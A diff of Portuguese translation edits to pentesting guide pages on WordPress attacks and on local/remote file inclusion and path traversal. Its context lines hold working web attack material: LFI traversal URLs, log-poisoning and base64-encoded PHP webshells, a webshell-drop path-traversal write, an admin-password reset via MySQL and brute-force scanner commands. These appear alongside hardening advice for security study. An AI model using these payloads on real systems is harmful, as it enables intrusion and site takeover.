 - `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
 - `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
-- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
+- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias consultáveis publicamente.
 
 **Pós-exploração**
 
@@ -62,6 +62,8 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 - Arquivos JavaScript
 
+![](<../../images/image (524).png>)
+
 ### Obter Plugins
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@@ -208,10 +210,10 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
 ### wp-cron.php DoS
 
 Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
-Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, podendo ser usado por **atacantes** para **causar** um **DoS**.\
+Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
 Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
 
-Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
+É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
@@ -227,9 +229,9 @@ Esta é a resposta quando não funciona:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e, se existir, tenta explorá-los.
+Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
 
-## Ferramentas Automáticas
+## Automatic Tools
 ```bash
 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
@@ -244,9 +246,9 @@ return new WP_Error(
 ```
 ## **Painel RCE**
 
-**Modificando um php do tema utilizado (credenciais de administrador necessárias)**
+**Modificando um php do tema usado (credenciais de administrador necessárias)**
 
-Aparência → Editor de Tema → Template 404 (à direita)
+Aparência → Editor de Tema → Modelo 404 (à direita)
 
 Altere o conteúdo para um shell php:
 
@@ -297,13 +299,13 @@ Este método envolve a instalação de um plugin malicioso conhecido por ser vul
 
 1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
 2. **Instalação do Plugin**:
-- Navegue até o painel do WordPress, em seguida vá para `Painel > Plugins > Carregar Plugin`.
+- Navegue até o painel do WordPress, em seguida, vá para `Dashboard > Plugins > Upload Plugin`.
 - Faça o upload do arquivo zip do plugin baixado.
 3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
 4. **Exploração**:
 - Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
 - O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
-- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
+- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
 
 O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
 
@@ -328,7 +330,7 @@ Alterar a senha do administrador:
 ```bash
 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
 ```
-## Wordpress Plugins Pentest
+## Pentest de Plugins do Wordpress
 
 ### Superfície de Ataque
 
@@ -336,7 +338,7 @@ Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para
 
 - **`wp_ajax`**
 
-Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
+Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
 
 Estas são as funções que podem ser usadas para expor uma função em um plugin:
 ```php
@@ -366,7 +368,7 @@ O `permission_callback` é um callback para uma função que verifica se um dete
 
 - **Acesso direto ao arquivo php**
 
-Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Assim, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
+Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Portanto, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
 
 ### Exclusão Arbitrária de Arquivos Não Autenticada via wp_ajax_nopriv (Tema Litho <= 3.0)
 
@@ -446,9 +448,9 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 
 ### Escalada de privilégio via restauração de função obsoleta e autorização ausente (ASE "Ver Admin como Função")
 
-Muitos plugins implementam um recurso de "ver como função" ou troca temporária de função salvando a(s) função(ões) original(is) na meta do usuário para que possam ser restauradas posteriormente. Se o caminho de restauração depender apenas de parâmetros de solicitação (por exemplo, `$_REQUEST['reset-for']`) e uma lista mantida pelo plugin sem verificar capacidades e um nonce válido, isso se torna uma escalada de privilégio vertical.
+Muitos plugins implementam um recurso de "ver como função" ou troca temporária de função salvando a(s) função(ões) original(is) em metadados do usuário para que possam ser restauradas posteriormente. Se o caminho de restauração depender apenas de parâmetros de solicitação (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capacidades e um nonce válido, isso se torna uma escalada de privilégio vertical.
 
-Um exemplo do mundo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de redefinição restaurou funções com base em `reset-for=<username>` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não realizou uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas da meta do usuário `_asenha_view_admin_as_original_roles`:
+Um exemplo do mundo real foi encontrado no plugin Admin e Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de redefinição restaurou funções com base em `reset-for=<username>` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não realizou uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas dos metadados do usuário `_asenha_view_admin_as_original_roles`:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -469,10 +471,10 @@ Por que é explorável
 - Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de redefinição.
 - Em algumas implementações, qualquer usuário autenticado poderia acionar uma redefinição para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
 
-Pré-requisitos do ataque
+Pré-requisitos para o ataque
 
 - Versão vulnerável do plugin com o recurso habilitado.
-- A conta alvo tem um papel de alto privilégio obsoleto armazenado nos metadados do usuário de usos anteriores.
+- A conta alvo tem um papel de alto privilégio obsoleto armazenado nos metadados do usuário de um uso anterior.
 - Qualquer sessão autenticada; nonce/capacidade ausente no fluxo de redefinição.
 
 Exploração (exemplo)
@@ -489,13 +491,13 @@ Lista de verificação de detecção
 
 - Procure por recursos de troca de papéis que persistem “papéis originais” na meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`).
 - Identifique caminhos de redefinição/restauração que:
-- Leiam nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
-- Modifiquem papéis via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
-- Autorizem com base em um array de opções de plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
+  - Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
+  - Modifiquem papéis via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
+  - Autorizem com base em um array de opções de plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
 
 Fortalecimento
 
-- Aplique verificações de capacidade em cada ramificação que altera o estado (por exemplo, `current_user_can('manage_options')` ou mais rigoroso).
+- Aplique verificações de capacidade em cada ramificação que altera o estado (por exemplo, `current_user_can('manage_options')` ou mais restrito).
 - Exija nonces para todas as mutações de papel/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`.
 - Nunca confie em nomes de usuário fornecidos pela solicitação; resolva o usuário alvo no lado do servidor com base no ator autenticado e na política explícita.
 - Invalide o estado de “papéis originais” em atualizações de perfil/papel para evitar restauração de privilégios altos obsoletos:
@@ -518,7 +520,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Também, **instale apenas plugins e temas do WordPress confiáveis**.
+Também, **instale apenas plugins e temas confiáveis do WordPress**.
 
 ### Plugins de Segurança
 
@@ -576,7 +578,7 @@ $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
+`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido a partir da página de currículo.
 
 #### Exploração
 ```bash
@@ -594,6 +596,6 @@ O servidor responde com o conteúdo de `wp-config.php`, vazando credenciais do D
 - [Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
 - [Múltiplas Vulnerabilidades Críticas Corrigidas no Plugin WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
 - [Caso Raro de Escalação de Privilégios no Plugin ASE Afetando Mais de 100k Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
-- [Mudança 7.6.3 do ASE – excluir funções originais na atualização do perfil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
+- [Mudança do ASE 7.6.3 – excluir funções originais na atualização do perfil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-inclusion/README.md

@@ -1,8 +1,8 @@
-# Inclusão de Arquivos/Travessia de Caminho
+# Inclusão de Arquivo/Travessia de Caminho
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Inclusão de Arquivos
+## Inclusão de Arquivo
 
 **Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
 **Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
@@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}
 
-Tente também mudar `/` para `\`\
+Tente também mudar `/` por `\`\
 Tente também adicionar `../../../../../`
 
 Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
@@ -38,7 +38,7 @@ Mescla de diferentes listas de palavras:
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}
 
-Tente também mudar `/` para `\`\
+Tente também mudar `/` por `\`\
 Tente também remover `C:/` e adicionar `../../../../../`
 
 Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
@@ -86,15 +86,15 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 
 O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
 
-1. **Determinar a Profundidade do Diretório:** Aferir a profundidade do seu diretório atual ao buscar com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
+1. **Determinar a Profundidade do Diretório:** Aferir a profundidade do seu diretório atual ao buscar com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Procurar por Pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, e então navegue de volta para `/etc/passwd`. O nível de diretório adicional requer aumentar a profundidade em um:
+2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, e depois navegue de volta para `/etc/passwd`. O nível de diretório adicional requer aumentar a profundidade em um:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Interpretar os Resultados:** A resposta do servidor indica se a pasta existe:
+3. **Interprete os Resultados:** A resposta do servidor indica se a pasta existe:
 - **Erro / Sem Saída:** A pasta `private` provavelmente não existe na localização especificada.
 - **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
 4. **Exploração Recursiva:** Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
@@ -125,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
 ```
 Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
 
-- **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto e caracteres extras podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
+- **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
 - **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, pode-se encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e, em seguida, para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
 - **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como uma medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
 
@@ -177,7 +177,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
 
 ## Java List Directories
 
-Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** em vez de um arquivo, um **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
+Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde sei).
 
 ## Top 25 parameters
 
@@ -213,7 +213,7 @@ Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a
 
 ### php://filter
 
-Os filtros PHP permitem realizar **operações de modificação básicas nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
+Os filtros PHP permitem realizar **operações básicas de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
@@ -232,7 +232,7 @@ Os filtros PHP permitem realizar **operações de modificação básicas nos dad
 > Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muitas informações)
+- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muitas informações)
 - `zlib.inflate`: Descomprime os dados
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Obsoleto
@@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> A parte "php://filter" é sensível a maiúsculas e minúsculas
+> A parte "php://filter" é insensível a maiúsculas
 
 ### Usando filtros php como oráculo para ler arquivos arbitrários
 
@@ -356,11 +356,11 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Ao ser executado, um arquivo chamado `test.phar` será criado, o qual pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
+Ao ser executado, um arquivo chamado `test.phar` será criado, o que pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
 
 Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
 
-Para uma compreensão detalhada sobre como explorar vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
+Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
 
 [Phar Deserialization Exploitation Guide](phar-deserialization.md)
 
@@ -370,15 +370,15 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporte filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
+Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
 Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.
 
 ### Mais protocolos
 
 Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
+- [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
@@ -395,7 +395,7 @@ Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diret
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Embora isso tenha como objetivo impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um invasor poderia usar:
+Embora isso tenha como objetivo impedir a travessia, inadvertidamente cria um vetor para injeção de código. Para explorar isso para ler o conteúdo de arquivos, um atacante poderia usar:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
@@ -418,13 +418,13 @@ Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto c
 
 **Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
-Para os detalhes técnicos, confira o post mencionado!
+Para os detalhes técnicos, verifique o post mencionado!
 
 ## LFI2RCE
 
 ### Escrita de Arquivo Arbitrário via Path Traversal (Webshell RCE)
 
-Quando o código do lado do servidor que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonizá-lo e validá-lo, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita de arquivo arbitrária. Se você puder colocar o payload em um diretório exposto na web, geralmente obtém RCE não autenticado ao soltar uma webshell.
+Quando o código do lado do servidor que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita de arquivo arbitrária. Se você puder colocar o payload em um diretório exposto na web, geralmente obtém RCE não autenticado ao soltar uma webshell.
 
 Fluxo típico de exploração:
 - Identifique uma primitiva de escrita em um endpoint ou trabalhador em segundo plano que aceita um caminho/nome de arquivo e escreve conteúdo no disco (por exemplo, ingestão orientada a mensagens, manipuladores de comando XML/JSON, extratores ZIP, etc.).
@@ -432,14 +432,14 @@ Fluxo típico de exploração:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → solte `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → solte `shell.aspx`
-- Crie um caminho de travessia que saia do diretório de armazenamento pretendido para o webroot e inclua seu conteúdo de webshell.
+- Crie um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot e inclua seu conteúdo de webshell.
 - Navegue até o payload solto e execute comandos.
 
 Notas:
 - O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um ouvinte JMF XML na TCP 4004). O portal web principal (porta diferente) servirá seu payload mais tarde.
 - Em pilhas Java, essas escritas de arquivo são frequentemente implementadas com simples concatenações de `File`/`Paths`. A falta de canonização/lista de permissão é a falha central.
 
-Exemplo genérico estilo XML/JMF (os esquemas de produto variam – o wrapper DOCTYPE/body é irrelevante para a travessia):
+Exemplo genérico estilo XML/JMF (os esquemas de produto variam – o wrapper DOCTYPE/body é irrelevante para a traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@@ -466,7 +466,7 @@ in.transferTo(out);
 Hardening que derrota essa classe de bugs:
 - Resolva para um caminho canônico e garanta que seja um descendente de um diretório base na lista de permissões.
 - Rejeite qualquer caminho contendo `..`, raízes absolutas ou letras de unidade; prefira nomes de arquivos gerados.
-- Execute o escritor como uma conta de baixo privilégio e segmente diretórios de gravação de raízes servidas.
+- Execute o escritor como uma conta de baixo privilégio e segmente diretórios de escrita de raízes servidas.
 
 ## Inclusão de Arquivo Remoto
 
@@ -474,14 +474,14 @@ Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
 
 ### Via arquivo de log do Apache/Nginx
 
-Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
+Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
 
 > [!WARNING]
 > Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP gerará um erro** lá e **nada mais será executado**.
 >
 > Além disso, certifique-se de **escrever corretamente o payload** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
 
-Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
+Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **autorização "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
 Outros possíveis caminhos de log:
 ```python
 /var/log/apache2/access.log
@@ -502,7 +502,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
 
 ### Via /proc/\*/fd/\*
 
-1. Faça upload de muitas shells (por exemplo: 100)
+1. Faça o upload de muitas shells (por exemplo: 100)
 2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
 
 ### Via /proc/self/environ
@@ -552,14 +552,14 @@ Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/sel
 
 ### **Via** **vsftpd** _**logs**_
 
-Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
+Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que uma vulnerabilidade de Local File Inclusion (LFI) existe, e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
 
 1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
 2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
 
 ### Via php base64 filter (using base64)
 
-Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
+Como mostrado em [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro PHP base64 simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
@@ -575,7 +575,7 @@ lfi2rce-via-php-filters.md
 
 ### Via falha de segmentação
 
-**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
+**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma solicitação,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
 
 {{#ref}}
 lfi2rce-via-segmentation-fault.md
